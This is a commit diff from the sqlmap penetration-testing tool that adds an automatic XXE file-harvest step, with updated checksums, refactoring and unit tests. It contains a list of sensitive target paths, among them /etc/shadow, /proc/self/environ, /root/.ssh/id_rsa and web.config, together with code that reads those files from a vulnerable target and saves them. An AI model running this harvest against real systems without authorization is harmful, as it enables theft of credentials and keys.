Minor update
Some checks are pending
/ build (macos-latest, 3.8) (push) Waiting to run
/ build (ubuntu-latest, pypy-2.7) (push) Waiting to run
/ build (windows-latest, 3.14) (push) Waiting to run

This commit is contained in:
Miroslav Štampar 2026-07-04 13:35:00 +02:00
parent 3b3a822e32
commit 3bab3cd795
5 changed files with 152 additions and 39 deletions

View file

@ -189,10 +189,10 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
2a638eed1ff10b42b4dfa70aab9d20580169266a08f44d33da50177bc8e78bf2 lib/core/settings.py f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py 69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py
96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py 96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py
95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py
b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py
@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py
c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py
e542cbcb1e2798f2d756d1f79940f61f7cebef661657f8ca1dba83c0696e95eb lib/techniques/xxe/inject.py b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py
2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use
93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py
81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py
9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py 9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py
b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7 tests/test_xxe.py db002e350cded0b92327ae546d99c05c60bb7a767e56681993894f62b1248613 tests/test_xxe.py
55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py
f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>) # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.28" VERSION = "1.10.7.29"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@ -1121,6 +1121,32 @@ XXE_IMPACT_FILES = (
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
) )
# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
# this curated set of high-value, fixed-path files (host identity, process env/
# secrets, key material) - the XXE analogue of the automatic dumping the other
# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests);
# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES
# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs
# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user
# gave an explicit '--file-read' (that targeted request is honoured verbatim instead).
XXE_FILE_HARVEST = (
"/etc/passwd",
"/etc/hostname",
"/etc/hosts",
"/etc/os-release",
"/etc/shadow",
"/etc/group",
"/proc/self/environ",
"/proc/self/cmdline",
"/proc/self/status",
"/proc/version",
"/root/.bash_history",
"/root/.ssh/id_rsa",
"c:/windows/win.ini",
"c:/windows/system32/drivers/etc/hosts",
"c:/inetpub/wwwroot/web.config",
)
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: # GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle # an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
# an error/exfil primitive, so no outbound network is needed. (path, entity_name). # an error/exfil primitive, so no outbound network is needed. (path, entity_name).

View file

@ -618,7 +618,7 @@ def _createFilesDir():
Create the file directory. Create the file directory.
""" """
if not any((conf.fileRead, conf.commonFiles)): if not any((conf.fileRead, conf.commonFiles, conf.xxe)):
return return
# Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir) # Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir)

View file

@ -26,6 +26,7 @@ from lib.core.enums import HTTPMETHOD
from lib.core.settings import ASTERISK_MARKER from lib.core.settings import ASTERISK_MARKER
from lib.core.settings import XXE_BLACKHOLE_HOST from lib.core.settings import XXE_BLACKHOLE_HOST
from lib.core.settings import XXE_ERROR_SIGNATURES from lib.core.settings import XXE_ERROR_SIGNATURES
from lib.core.settings import XXE_FILE_HARVEST
from lib.core.settings import XXE_HARDENED_REGEX from lib.core.settings import XXE_HARDENED_REGEX
from lib.core.settings import XXE_IMPACT_FILES from lib.core.settings import XXE_IMPACT_FILES
from lib.core.settings import OOB_POLL_ATTEMPTS from lib.core.settings import OOB_POLL_ATTEMPTS
@ -229,21 +230,50 @@ def _echoed(page):
def _report(title, payload): def _report(title, payload):
if conf.beep: if conf.beep:
beep() beep()
place = "%s XML body" % (conf.method or HTTPMETHOD.POST) place = conf.method or HTTPMETHOD.POST
conf.dumper.singleString("---\nParameter: %s\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload)) conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
def _saveFileRead(remoteFile, content):
"""Save an XXE-read file to the output directory (parity with '--file-read') and
return its local path, or None if it could not be written."""
try:
return dataToOutFile(remoteFile, getBytes(content))
except Exception as ex:
logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex))
return None
def _dumpFileRead(remoteFile, content): def _dumpFileRead(remoteFile, content):
"""Save an XXE-read file to the output directory (parity with '--file-read') and """Save a single XXE-read file and list it; fall back to a console dump if the
list it; fall back to a console dump if the file cannot be written.""" file cannot be written."""
try: localPath = _saveFileRead(remoteFile, content)
localPath = dataToOutFile(remoteFile, getBytes(content)) if localPath:
if localPath: conf.dumper.rFile([localPath])
conf.dumper.rFile([localPath]) else:
return conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))
except Exception as ex:
logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex))
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content)) def _harvestFiles(xml, rootName):
"""Proactive, best-effort file harvest run once an in-band XXE read primitive is
confirmed: pull a curated set of high-value fixed-path files (host identity,
process env/secrets, key material) the way the other non-SQL engines auto-dump
their reachable data. Returns a list of (path, content, payload) for every file
that read back non-empty; unreadable/absent files are silently skipped. Content is
de-duplicated so a parser that resolves every missing path to the same stub cannot
masquerade as many distinct reads."""
harvested = []
seen = set()
for path in XXE_FILE_HARVEST:
content, payload = _tryInbandFileRead(xml, rootName, path)
if content and content.strip():
key = content.strip()
if key in seen:
continue
seen.add(key)
harvested.append((path, content, payload))
return harvested
def _tryInternal(xml, rootName, baseline): def _tryInternal(xml, rootName, baseline):
@ -280,7 +310,7 @@ def _tryInbandFileRead(xml, rootName, fileName):
entity between two random markers so the exact file content can be sliced out entity between two random markers so the exact file content can be sliced out
of the response regardless of surrounding template. Raw file:// works for text of the response regardless of surrounding template. Raw file:// works for text
files; php://filter base64 (PHP) carries files with XML-special bytes. Returns files; php://filter base64 (PHP) carries files with XML-special bytes. Returns
the file content or None.""" (content, payload) or (None, None)."""
from lib.core.convert import decodeBase64 from lib.core.convert import decodeBase64
@ -303,13 +333,13 @@ def _tryInbandFileRead(xml, rootName, fileName):
except Exception: except Exception:
continue continue
if data and data.strip(): if data and data.strip():
return data return data, payload
return None return None, None
def _tryExternalFile(xml, rootName, baseline): def _tryExternalFile(xml, rootName, baseline):
"""Impact demonstration once XXE is live: read a benign host-identity file via """Impact demonstration once XXE is live: read a benign host-identity file via
an external general entity. Returns (systemId, snippet) on a confirmed read.""" an external general entity. Returns (systemId, payload) on a confirmed read."""
for systemId, pattern in XXE_IMPACT_FILES: for systemId, pattern in XXE_IMPACT_FILES:
ent = randomStr(length=8, lowercase=True) ent = randomStr(length=8, lowercase=True)
@ -317,7 +347,7 @@ def _tryExternalFile(xml, rootName, baseline):
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
snippet = _confirmRead(_send(payload), pattern, baseline) snippet = _confirmRead(_send(payload), pattern, baseline)
if snippet: if snippet:
return systemId, snippet return systemId, payload
return None, None return None, None
@ -639,8 +669,9 @@ def xxeScan():
_OOB_CONSENT = None _OOB_CONSENT = None
debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection " debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection "
debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration " debugMsg += "in the request body and, once confirmed, automatically harvests high-value "
debugMsg += "switches (--banner, --dbs, --tables, --dump) are ignored" debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches "
debugMsg += "(--banner, --dbs, --tables, --dump) are ignored"
logger.debug(debugMsg) logger.debug(debugMsg)
xml = _cleanBody() xml = _cleanBody()
@ -661,31 +692,59 @@ def xxeScan():
# T2: in-band reflected DTD/internal-entity expansion. This proves the parser # T2: in-band reflected DTD/internal-entity expansion. This proves the parser
# processes entities but is NOT yet file-read impact, so it deliberately does NOT # processes entities but is NOT yet file-read impact, so it deliberately does NOT
# set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still # set `found` on its own - we first try to UPGRADE it to real file-read impact and
# run to try to upgrade a mere "expansion confirmed" into actual file-read impact. # then emit a SINGLE report block with the strongest confirmed vector and its real
# payload (one report per finding, as with the other non-SQL engines). The internal
# expansion is only reported on its own when no external-entity read is reachable.
payload, page = _tryInternal(xml, rootName, baseline) payload, page = _tryInternal(xml, rootName, baseline)
if payload: if payload:
expansionSeen = True expansionSeen = True
logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)") logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
_report("In-band DTD/internal entity expansion", payload)
if conf.get("fileRead"): if conf.get("fileRead"):
content = _tryInbandFileRead(xml, rootName, conf.fileRead) content, readPayload = _tryInbandFileRead(xml, rootName, conf.fileRead)
if content: if content:
found = True found = True
logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead) logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead)
_report("In-band file read ('%s')" % conf.fileRead, "<in-band reflected read of '%s'>" % conf.fileRead) _report("In-band file read ('%s')" % conf.fileRead, readPayload)
_dumpFileRead(conf.fileRead, content) _dumpFileRead(conf.fileRead, content)
else: else:
# benign, in-band impact demonstration (data stays in the response, no third party) # No targeted '--file-read': proactively harvest a curated set of high-value
systemId, snippet = _tryExternalFile(xml, rootName, baseline) # files (data stays in the response, no third party) - the XXE analogue of
if not systemId: # the automatic dumping the other non-SQL engines do once confirmed.
snippet = _tryPhpFilter(xml, rootName, baseline) harvested = _harvestFiles(xml, rootName)
systemId = "php://filter" if snippet else None if harvested:
if systemId:
found = True found = True
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) firstPath, _, firstPayload = harvested[0]
_report("In-band file-read impact (external entity '%s')" % systemId, "<external-entity read of a benign file for impact>") logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested))
_report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
saved = []
for path, content, _ in harvested:
logger.info("read remote file '%s' (%d bytes)" % (path, len(content)))
localPath = _saveFileRead(path, content)
if localPath:
saved.append(localPath)
else:
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (path, content))
if saved:
conf.dumper.rFile(saved)
else:
# Harvest read nothing (content relocated in the response, or only benign
# host-identity is exposed): fall back to the pattern-based impact proof
# so file-read impact is still confirmed.
systemId, readPayload = _tryExternalFile(xml, rootName, baseline)
if not systemId:
readPayload = _tryPhpFilter(xml, rootName, baseline)
systemId = "php://filter" if readPayload else None
if systemId:
found = True
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
_report("In-band file-read impact (external entity '%s')" % systemId, readPayload)
if not found:
# external entities are disabled (only internal expansion is reachable):
# report that weaker-but-real finding with its actual payload
_report("In-band DTD/internal entity expansion", payload)
# T3: error-based (works where entities are not reflected but errors leak). A # T3: error-based (works where entities are not reflected but errors leak). A
# redundant detection channel once in-band reflection was already seen, so it is # redundant detection channel once in-band reflection was already seen, so it is

View file

@ -239,7 +239,35 @@ class TestReportMethod(unittest.TestCase):
xxe._report("Title", "Payload") xxe._report("Title", "Payload")
finally: finally:
conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep
self.assertIn("PUT XML body", captured[0]) self.assertIn("Parameter: XML body (PUT)", captured[0])
class TestHarvestFiles(unittest.TestCase):
def test_harvest_collects_dedups_and_skips_empty(self):
# simulate a target that returns real content for two files, an empty read for
# one (skipped), and an identical stub for the rest (deduped to a single entry)
def _fake(xml, rootName, path):
if path == "/etc/passwd":
return "root:x:0:0:root:/root:/bin/sh\n", "PAYLOAD-passwd"
if path == "/etc/hostname":
return "host01\n", "PAYLOAD-hostname"
if path == "/etc/hosts":
return " ", "PAYLOAD-empty" # whitespace-only -> skipped
return "same stub", "PAYLOAD-stub" # identical for every other path -> deduped
old = xxe._tryInbandFileRead
xxe._tryInbandFileRead = _fake
try:
harvested = xxe._harvestFiles("<user><name>x</name></user>", "user")
finally:
xxe._tryInbandFileRead = old
paths = [p for p, _, _ in harvested]
self.assertIn("/etc/passwd", paths)
self.assertIn("/etc/hostname", paths)
self.assertNotIn("/etc/hosts", paths) # empty read skipped
self.assertEqual(paths.count("/etc/passwd"), 1)
self.assertEqual(sum(1 for c in (c for _, c, _ in harvested) if c == "same stub"), 1) # stub deduped
class TestOobBase64Capture(unittest.TestCase): class TestOobBase64Capture(unittest.TestCase):